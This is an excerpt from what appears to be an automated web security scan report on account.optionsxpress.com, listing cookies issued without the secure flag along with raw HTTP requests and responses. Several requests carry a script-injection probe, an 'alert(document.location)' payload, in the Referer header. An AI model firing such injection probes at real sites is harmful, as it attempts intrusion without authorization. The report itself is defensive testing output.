Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 65
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:39 GMT
Accept-Ranges: bytes
ETag: "d0881bc1bfcca1:e6d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=4F0588BA4BA85289A097B6894C4CDEEB; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:50 GMT

GIF89a
..........f.............ddd...!.......,....
........aSD$.;

6.30. https://account.optionsxpress.com/images/styles/bubble/t.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/t.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=F7D09A6D4566E6FDAE591B92DED017AF; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/t.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 44
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:39 GMT
Accept-Ranges: bytes
ETag: "a0227ebc1bfcca1:efb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=F7D09A6D4566E6FDAE591B92DED017AF; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:51 GMT

GIF89a...........f.!.......,...........L...;

6.31. https://account.optionsxpress.com/images/styles/bubble/tl.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/tl.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=AFEC1DFC41D58A640965F69675769361; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/tl.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 117
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:40 GMT
Accept-Ranges: bytes
ETag: "d0d71abd1bfcca1:fb1"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=AFEC1DFC41D58A640965F69675769361; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:50 GMT

GIF89a..........f...........y...e........d.x...2..h.........!......,.........."..I+1%.........%.#.@..fu(...1.h..F.;

6.32. https://account.optionsxpress.com/images/styles/bubble/tr.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/styles/bubble/tr.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=9A7796FB49428C50E2B66E9C59EA7A3A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/styles/bubble/tr.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; Firm=OX; TLTHID=08CFF1D64FFA1C27A2F8DA9B12382380

Response

HTTP/1.1 200 OK
Content-Length: 168
Content-Type: image/gif
Last-Modified: Tue, 25 May 2010 15:05:40 GMT
Accept-Ranges: bytes
ETag: "90ac1cbd1bfcca1:e6d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=9A7796FB49428C50E2B66E9C59EA7A3A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:49 GMT

GIF89a
.......f................................x..m...........-...........f..R..b...........................!.......,....
.....% .X.#.W
..3.B. .P......0...P.%V..a ...;

6.33. https://account.optionsxpress.com/images/welcome/home/log_out.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/welcome/home/log_out.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=E6E958F44B303A4485671B976182E8E0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/welcome/home/log_out.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:25:29 GMT; path=/
Set-Cookie: TLTHID=E6E958F44B303A4485671B976182E8E0; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

6.34. https://account.optionsxpress.com/images/welcome/home/open_account_4.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/images/welcome/home/open_account_4.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=CF5297BD4EE7D9842FB52BA82A45D6B5; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/welcome/home/open_account_4.gif HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=6BF746C24651B1BAD934E8B86A795596; INTCMP=lp_sales_futures; s_pers=%20gpv_pn%3DOpenAccountprop5Index%7C1315529764039%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Content-Length: 43
Content-Type: image/gif
Last-Modified: Wed, 18 May 2011 15:39:54 GMT
Accept-Ranges: bytes
ETag: "d7ffadd57115cc1:ef3"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=CF5297BD4EE7D9842FB52BA82A45D6B5; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:25 GMT

GIF89a.............!.......,...........D..;

6.35. https://account.optionsxpress.com/inc/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/general.js

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=6BF746C24651B1BAD934E8B86A795596; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/general.js HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; Firm=OX; TLTHID=D89622F2452C5128A6EE59B41762E5D5

Response

HTTP/1.1 200 OK
Content-Length: 353785
Content-Type: application/x-javascript
Last-Modified: Tue, 31 May 2011 14:21:06 GMT
Accept-Ranges: bytes
ETag: "5ccde7fa9d1fcc1:fb9"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=6BF746C24651B1BAD934E8B86A795596; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:24 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

// SV 5/16/08 cdn_path is the url of the akamai servers. this checks to see if the cdn_path is defined on the page, and if not assignes it a value of null
try {
   if(cdn_path) {
       // do nothing
   }
...[SNIP]...

6.36. https://account.optionsxpress.com/inc/interface.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/interface.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=25FD2BB14273AC991AAA5EABBC316BCE; Path=/; Domain=.optionsxpress.com
TLTSID=25FD2BB14273AC991AAA5EABBC316BCE; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/interface.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

6.37. https://account.optionsxpress.com/inc/js/plugins/accordion.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/js/plugins/accordion.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com
TLTSID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/js/plugins/accordion.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 9587
Content-Type: application/x-javascript
Last-Modified: Tue, 11 May 2010 17:47:22 GMT
Accept-Ranges: bytes
ETag: "c07627232f1ca1:eba"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=23A6073F461FC4644E08578F9A204196; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* jQuery UI Accordion 1.7.1
*
* Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http:
...[SNIP]...

6.38. https://account.optionsxpress.com/inc/js/plugins/jquery.blockUI.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/js/plugins/jquery.blockUI.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com
TLTSID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/js/plugins/jquery.blockUI.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 15677
Content-Type: application/x-javascript
Last-Modified: Mon, 10 May 2010 20:56:04 GMT
Accept-Ranges: bytes
ETag: "709b2a3483f0ca1:eb2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=3B138D484BD3DC1EBC2548A8FD6DEEF1; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:30 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

.../*!
* jQuery blockUI plugin
* Version 2.31 (06-JAN-2010)
* @requires jQuery v1.2.3 or later
*
* Examples at: http://malsup.com/jquery/block/
* Copyright (c) 2007-2008 M. Alsup
* Dual
...[SNIP]...

6.39. https://account.optionsxpress.com/inc/newaccount/general.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/general.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com
TLTSID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/newaccount/general.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 75328
Content-Type: application/x-javascript
Last-Modified: Mon, 10 May 2010 20:52:59 GMT
Accept-Ranges: bytes
ETag: "f02bedc582f0ca1:eb2"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=090C09DA4E6D42932D2F21943A76C7EF; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:29 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/* Include general.js */
var s;
s = "<script language=\"javascript\" type=\"text/javascript\" src=\"/inc/general.js\"></script>";
document.write(s);

/******************************************
...[SNIP]...

6.40. https://account.optionsxpress.com/inc/newaccount/jquer.ui.all.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquer.ui.all.css

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

TLTHID=DC968495491D236FAF80D1B2AC99C2C7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /inc/newaccount/jquer.ui.all.css HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=758690FA4AB663400EE3B482D991146F

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 15335
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Firm=OX; expires=Fri, 09-Sep-2011 07:25:22 GMT; path=/
Set-Cookie: TLTHID=DC968495491D236FAF80D1B2AC99C2C7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:22 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

6.41. https://account.optionsxpress.com/inc/newaccount/jquery-1.3.2.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery-1.3.2.min.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com
TLTSID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/newaccount/jquery-1.3.2.min.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 59326
Content-Type: application/x-javascript
Last-Modified: Mon, 10 May 2010 20:52:59 GMT
Accept-Ranges: bytes
ETag: "107aedc582f0ca1:efb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*
* jQuery JavaScript Library v1.3.2
*
* Copyright (c) 2009 John Resig, http://jquery.com/
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this softw
...[SNIP]...

6.42. https://account.optionsxpress.com/inc/newaccount/jquery.autotab.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery.autotab.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com
TLTSID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/newaccount/jquery.autotab.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 3628
Content-Type: application/x-javascript
Last-Modified: Mon, 10 May 2010 20:53:00 GMT
Accept-Ranges: bytes
ETag: "602a83c682f0ca1:fd0"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*
* jQuery AutoTab plugin
* http://dev.lousyllama.com/auto-tab
*
* Copyright (c) 2007 Matthew Miller
* Licensed under the MIT License:
* http://www.opensource.org/licenses/mit-license.
...[SNIP]...

6.43. https://account.optionsxpress.com/inc/newaccount/jquery.scrollTo-min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery.scrollTo-min.js

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com
TLTSID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/newaccount/jquery.scrollTo-min.js HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OXb5a37%0aalert(document.location)//18aaa9ddc45
Cookie: TLTHID=0CB03A254689E5598130BFBF7D2A396D

Response

HTTP/1.1 200 OK
Content-Length: 2262
Content-Type: application/x-javascript
Last-Modified: Fri, 30 Apr 2010 20:54:50 GMT
Accept-Ranges: bytes
ETag: "f043f15fa7e8ca1:e6d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com
Set-Cookie: TLTSID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:33:28 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/**
* jQuery.ScrollTo - Easy element scrolling using jQuery.
* Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com
* Dual licensed under MIT and GPL.
...[SNIP]...

6.44. https://account.optionsxpress.com/inc/newaccount/styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/styles.css

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

TLTHID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com
TLTSID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /inc/newaccount/styles.css HTTP/1.1
Host: account.optionsxpress.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
